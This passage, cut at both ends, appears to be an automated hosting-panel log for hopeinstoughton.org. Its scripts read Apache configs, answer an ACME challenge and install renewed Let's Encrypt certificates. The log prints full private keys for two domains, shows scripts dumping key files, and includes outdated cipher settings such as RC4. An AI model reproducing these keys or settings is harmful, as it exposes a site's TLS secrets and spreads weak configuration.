payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-11 06:00:17:
chmod 755 /tmp/pkp325376; /tmp/pkp325376; rm /tmp/pkp325376
2025-10-11 06:00:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf 1690
<VirtualHost *:80>
ServerName hopeinstoughton.org
ServerAlias www.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_www
<Directory /var/www/hopeinstoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/www_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/www_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.php index.html index.htm
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName hopeinstoughton.org
ServerAlias www.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt
DocumentRoot /var/www/hopeinstoughton_www
<Directory /var/www/hopeinstoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/www_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2025-10-11 06:00:17:
PUT: /tmp/pkp942233
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-11 06:00:17:
chmod 755 /tmp/pkp942233; /tmp/pkp942233; rm /tmp/pkp942233
2025-10-11 06:00:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt 5394
c4:de:3f:44:3c:4d:a5:6f:e6:f4:e4:13:25:dc:57:ae
-----BEGIN CERTIFICATE-----
MIIFHDCCBASgAwIBAgISBuKnJPp9Bure2li15NulLSrwMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDExMDUwMTQ1WhcNMjYwMTA5MDUwMTQ0WjAeMRwwGgYDVQQD
ExNob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2rkFpWVmi81BBBsWOCf/KFqp0c1CnShI2kYkB/J8p7HuOCulWMHJUgDS
sdRYtrw0l9pQVDCEMlUnpToVNSTs0QlDz75YDtbv5niQHMgjaAvCDloZ2kBqKzGN
gKHhYXWYqg+d69VqsonDaMcGxxhC4Kg4zqn9AAsTOFlyaVFEc7fFGTMaD7+xvP48
UUepS0hAy+Eulk+ZDVZtRp44Erb81Xh5WK/I0THPKEIHUtqXriZcr/s/p3iQxWsM
Fl+u8ZEZvH4gAf1Eo8R692oCHjXlKOzXu5yVU2V7dD0tdDEPbWHW8c+ObWYo6PdQ
3pzZG4rbP1depezljX4d+Q50WjdAzQIDAQABo4ICPTCCAjkwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBQZzYZoovigkJUs4vu5UUFbifBu4zAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CE2hvcGVpbnN0b3VnaHRv
bi5vcmeCF3d3dy5ob3BlaW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EM
AQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTEz
LmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB3AMs49xWJfIShRF9bwd37yW7y
mlnNRwppBYWwyxTDFFjnAAABmdHbBWsAAAQDAEgwRgIhAO7tM+lvVXAM2OL6eAWG
VxxT34ScUSq2V5BPRazVtHmJAiEA4EQndG6bNSAofgv6iofsWg9KRVdKHhoNdxWL
l7xPsaQAdQAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZnR2wVf
AAAEAwBGMEQCIAkOeaPMaABGBw+5W/YgpCGg1waUSHYkj2eUZHEdUwarAiA3iVcG
q8t0RdIgcPqlTa7r42xbWtIlquWzj4rCDLuYnTANBgkqhkiG9w0BAQsFAAOCAQEA
cqxSY40pIGT4I5wK+H9d6rHmCtld0lm71a7/Wz4bREWD9tmmcr2Pfk+CT4T9lN/O
ydKhvZP8Ytbg3LfaWgm7JbJAv96lCI3JozOhMb7TadrouVLriQCDj+nbVkkBpigy
U9PjmB1POp1Sk2a7A+NJwqMO7VEaS5CoT82W3Fh6jOfstWCIVeUCzqpM9MCoJOc1
Sy4x9XDWewYLX3Rn+cXoKBKHWivZ6/ODPo4djvxLXtb8iBxXCK6ZwHibiylbMM1i
zAFnLxrf8HJY1d5NZopW2HR2aedZNPRsiqjCOGXuzzQIkl/kiEVdwaI8Bl3GgFAO
SXf8AsBDKzOEwSgvlrSKWA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDauQWlZWaLzUEE
GxY4J/8oWqnRzUKdKEjaRiQH8nynse44K6VYwclSANKx1Fi2vDSX2lBUMIQyVSel
OhU1JOzRCUPPvlgO1u/meJAcyCNoC8IOWhnaQGorMY2AoeFhdZiqD53r1WqyicNo
xwbHGELgqDjOqf0ACxM4WXJpUURzt8UZMxoPv7G8/jxRR6lLSEDL4S6WT5kNVm1G
njgStvzVeHlYr8jRMc8oQgdS2peuJlyv+z+neJDFawwWX67xkRm8fiAB/USjxHr3
agIeNeUo7Ne7nJVTZXt0PS10MQ9tYdbxz45tZijo91DenNkbits/V16l7OWNfh35
DnRaN0DNAgMBAAECggEAEs8+kQ67VuJ76OJ7crDd3JaPbB9+zw0b1smZZ6WO2s0O
c34tZgikS40OkYR1bKGa1ERODC9v7vQryKXKFRvr0b4+Oqtf30bUsrlDi3YatWPt
eFZ/Sqmnd7d3N8y0GTGHw3g8WH+uAVSfnW8gQhbwCWnuGLe9rjdFm971W+FFRb4r
WTlWlzUBXMzcoracCQnWuePQehkcPQjUdVDXM+MEyMpxn4YvsSrTlk0KajgNgGN0
kMFyaQkIw5Spn89RxoaHQYbn3/dkizHVTdHwthV3k1d6S+sEGUtWalPJRM4C8Nbx
DAOx5paB05PaQqWeZtc1c9D2trYDFWpZ6DE9kNpr8QKBgQDz7OMwmqT5mH54+C/Q
DjV6sAB2I9a8vzGLatd/5dUFzcPO1MT99mXDTgITGlGGIGuKtOOGKqo/tqIvflXk
Kza5YDFDj2zsnDM4ghjijR5x7b4GkxQSGnaND9rwKQxJdlrnIblfXcAKRK/QvFg/
H6lDzJEF9WnKEnZJVhU/2POL+wKBgQDljMIFaa0ih8gxG4jqg9jTYnCCwxHrGzj7
YRO7aaXLnXPgBjJp3K5ljkZ2WAmJFcV/HvnIovxiSlBY2QpD4K8k8hh4kdj/EOhE
G/XM5ajoYkn++LB7wlDf9osjSP7+VzyhjV9/zyF3waL9Bb+OssTfFAFHzqO62RSU
YoM1f/5D1wKBgQDBPlp+lwU79+O6UmUOnzMfD3BOJ/ZncdD+cpZnbN1my6zknwux
ZxMXtyVNnPwZFnYcXVIjaImYEEhM9/lz2ghwtBRTQb05dkXd7rNoSARmncJ90ueD
sBNbjcQVn29sg6dglQcW1l7dw6zF4XDIEX03iUkbP2GgBSBQ2THcczP/IQKBgQC6
WGQBJOKKD5QyWVnylwnjwBv56wWWyEifuRTdpUwUWUOB70Xprl5czvzggWNsR6JG
Kg04FSexWwaSuc6df75uzaGT70Iq/byv3crShPVzgKb1N0l9jic9SNV21YE7U/JC
a5PFG47duvHnWU1COFmdho3rjxJXUnZkZvyA5+CvjQKBgDdhf54VnGbA9KpqtBnr
0LJBQneq6myAaMfW1RxDNXugmlCLBJ5pSBBz+ms5zyZ/amvW16oOeI9xCUuVNueH
4h47P9/eH37OnME741Imh6l2+mjUiQIPUn3dDFcJFIFv33U/Sg14Qp3/aRECtMvS
R+ujwTNVCVGbfkltjn0vIqgh
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-11 06:00:17: Establishing a connection
2025-10-11 06:00:17: Establishing a connection
2025-10-11 06:00:17:
PUT: /tmp/pkp850181
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-11 06:00:18:
chmod 755 /tmp/pkp850181; /tmp/pkp850181; rm /tmp/pkp850181
2025-10-11 06:00:18:
1
2025-10-11 06:00:18: Establishing a connection
2025-10-11 06:00:18:
PUT: /tmp/pkp777829
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > Ccb5EAHPFbO0-GyTraZtwn8tBH0Vq3Iup_0VrDU1SCo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Ccb5EAHPFbO0-GyTraZtwn8tBH0Vq3Iup_0VrDU1SCo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Ccb5EAHPFbO0-GyTraZtwn8tBH0Vq3Iup_0VrDU1SCo
2025-10-11 06:00:19:
chmod 755 /tmp/pkp777829; /tmp/pkp777829; rm /tmp/pkp777829
2025-10-11 06:00:19:
2025-10-11 06:00:22: Establishing a connection
2025-10-11 06:00:22:
PUT: /tmp/pkp560436
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
rm Ccb5EAHPFbO0-GyTraZtwn8tBH0Vq3Iup_0VrDU1SCo
2025-10-11 06:00:22:
chmod 755 /tmp/pkp560436; /tmp/pkp560436; rm /tmp/pkp560436
2025-10-11 06:00:22:
2025-10-11 06:00:22: Establishing a connection
2025-10-11 06:00:22:
PUT: /tmp/pkp679802
#!/bin/bash
temp_file=$(mktemp)
TARGET=4190d696888bea52996fb61a0a63827a.crt
cat > $temp_file <<'endmsg'
39:fa:56:96:7c:9c:ef:09:cd:89:bc:b9:8c:12:bd:d9
-----BEGIN CERTIFICATE-----
MIIFEDCCA/igAwIBAgISBpoVeLQ21oNzNDWIm7j+xLgJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDExMDUwMTUxWhcNMjYwMTA5MDUwMTUwWjAlMSMwIQYDVQQD
ExpiYWNrdXAuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAOwLPa0muBUJanXi/rppZDjOCLfGA8GkyLbaAI5ytndorRTY
4xzIaHILAcTEmgIKgsDCs0uxb8mYaBkCuMPcgKgVsNR/btS157RmCujSNEDanlDS
Iva2GwqV/EsrlV/sCpUNR1w6KZ3l1+5rYkQt1vwgL3eWoTmx5uEI064mXhGVPNrE
1bUZucN0bS/jqAFsWJkuk8wfDnlLPSWLjQBO7JyqUhdtDXUVT8vKNOCHz2YZLN7Q
xMp6U7w00BmqormAio7FdBIIseawOq3MOCorDQjKBeaygdTIvAe42z7lGUHasJ4f
/J+JqAjxypshyJM21jzAsj3Iy9az3Zaqle30f/sCAwEAAaOCAiowggImMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUsO5/MBnKMFvKoLwcRE19WoTR89YwHwYDVR0jBBgw
FoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpiYWNrdXAu
aG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzEwLmNybDCCAQQGCisG
AQQB1nkCBAIEgfUEgfIA8AB2AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJ
fc3wAAABmdHbHAsAAAQDAEcwRQIgP3FCcBYSolBv6jLRFV59Lq/p34YwEp/eodlR
f9DwDIYCIQC367qcifNBvsAqHEcTTkMZX42FFLCv5pf9Lr+rL1nWewB2ABmG1Mco
qm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmdHbHA8AAAQDAEcwRQIhAO2J
uUklsSORId1ULUksNseqhmydJ74dvSxCkr5/eibPAiAbBk75Gz7nRbTLaiRhwE4k
4F8pZVZIuhkIoAHQC1geujANBgkqhkiG9w0BAQsFAAOCAQEAAmlBemGvAvxzAJZR
+CGJfZB5LNqCwSwIKHCJhtOGvSJHFASjAWGpuPNHE9C3CQgFS9sg9OM2HTSNdJPu
xLnY3rumdJ3k/8HaEsokEjQHqxQ/yhBwb9EIrsZr9u0AriQ/uN4IagTVJKyAvnsD
joevkp9d75Xs3jDen7vgtHjaGzJ5suj6zDhkhxdE8YDrOOVA5ZJu05Bvtt4/4DeB
/oWgIP3+8BMiNFuPluxrzn84puw/tzGCMmOebAed3tEMK3JeHFfF9d8h35Whkubo
krxMzhUOaTW2SFJ5mwmHy30MxoFNobgKpzMadkIXeQ/jDEpG9rCr9JcP0A/6Nv5z
190dVg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDsCz2tJrgVCWp1
4v66aWQ4zgi3xgPBpMi22gCOcrZ3aK0U2OMcyGhyCwHExJoCCoLAwrNLsW/JmGgZ
ArjD3ICoFbDUf27Utee0Zgro0jRA2p5Q0iL2thsKlfxLK5Vf7AqVDUdcOimd5dfu
a2JELdb8IC93lqE5sebhCNOuJl4RlTzaxNW1GbnDdG0v46gBbFiZLpPMHw55Sz0l
i40ATuycqlIXbQ11FU/LyjTgh89mGSze0MTKelO8NNAZqqK5gIqOxXQSCLHmsDqt
zDgqKw0IygXmsoHUyLwHuNs+5RlB2rCeH/yfiagI8cqbIciTNtY8wLI9yMvWs92W
qpXt9H/7AgMBAAECggEBAIb9xsAHrK8bO28/6j3hmBeEfSfcbrmH6+Hmuvq8T+3q
R1Hs17XWRyUxdkl5xjn0mOJ0duWLDEtWhfIHxHL+3/VAsmhUmKW9gk2BLiwISynr
3S6LfsNpUf2z2R2ER2EcNNEZTv5HpRVQJTWM5B3puVFndr4Fvx6nx0pbKfQmrRWQ
EpMBke7tnLtsu4/CXZbu74yKCnKNZZFpu4hpS4W6xwPXSYLpUvRI7rwsnzcg3xv4
RI3m6D987NCX6F91FGG/fgMAV31BOBWszTkw2vzXIiJNFHSICK/2fmhafkmPkKAp
wjmcR3VG6S6FXNzmmOpQj6rqhvvViP1GMc5jFpGtKUECgYEA+V1gHc7P4n4bWFgY
FvFeM42RsFjr+oSVg1OsWITwglCn08hEaRcVs83w0FeJrVmKYAw9oDQIZpxHn7k0
WV2S/miF7XQM7RlXmuVIpQ9p2yg9E2fE7CtDGPnjl3ZZ+5rSPkvImRUEbWBjdBu1
TQL2YRoyxSRT5vISsLcevvrKeCcCgYEA8lMgYaubA74nCSxlWUONXN3Bx3ERzMPP
Q8cFC52yJlTDnjSVSS9qoiGd+SMVejV9QZskxxr46x6xL1fKktx5pwQ3le71csqU
qAxIpDktEOr+HszDT3JWtc3lLM5LqTYSGhsNqzitWOSsNEauZXtQSlN/wsNBK1zZ
PqfHCcoaKg0CgYB/hNqkI6B3aJm/Qb1/7gqIPnskPTTftXFn6SAXXFRJr8lDKgSh
4SY9/rCJOlqzhTiYCWpyRGmPX5fY/DLjCFElPHpQhaoejXkZQus1TX6Kjjc9dzFi
vHThjthuGh3F5tRg+wwoDHFpJYN2Wr0KFtu7qFQSMJOfZGdeayaT71gevQKBgHKO
hbJms+OzEzUs/cSTQNL0KtWkSGvq7aL3BRWWuU+RpuC1rxVoCxsWlV3gDhk2DD7l
nx9ZSu+sFMtyz1taS1B/l9+TlglsZ5aCKB0qwnlK/lOFLZfzT7am3X6vD+mwnCIn
Q/D73Ec344jbGTr0buKUUsO6FqbvP+x02I1yM6hJAoGAHqxbqKEiJibOdBwusvPU
u5+YNgExpu9DLfwb6EHjALE3rtV32LqVtqno+gOxO1h30oMERQHx2LdrJViedBOk
G94dydnV6CGSQReU29Y2tEij1zva1qI+CM0WEshgXyGV/sJLRnnzXcYmvPU4LeKD
559NVKCpPvHGKoyMPc5PIbk=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-11 06:00:22:
chmod 755 /tmp/pkp679802; /tmp/pkp679802; rm /tmp/pkp679802
2025-10-11 06:00:22:
dir=/etc/ssl/certs
2025-10-11 06:00:22:
PUT: /tmp/pkp826965
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-11 06:00:22:
chmod 755 /tmp/pkp826965; /tmp/pkp826965; rm /tmp/pkp826965
2025-10-11 06:00:22:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf 50
<VirtualHost *:80>
ServerName backup.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_backup
<Directory /var/www/hopeinstoughton_backup>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
CustomLog /var/log/apache2/hopeinstoughton/backup_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/backup_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName backup.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt
DocumentRoot /var/www/hopeinstoughton_backup
<Directory /var/www/hopeinstoughton_backup>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
</FilesMatch>
CustomLog /var/log/apache2/hopeinstoughton/backup_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/backup_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-11 06:00:22:
PUT: /tmp/pkp147929
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_backup_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName backup.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_backup
<Directory /var/www/hopeinstoughton_backup>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
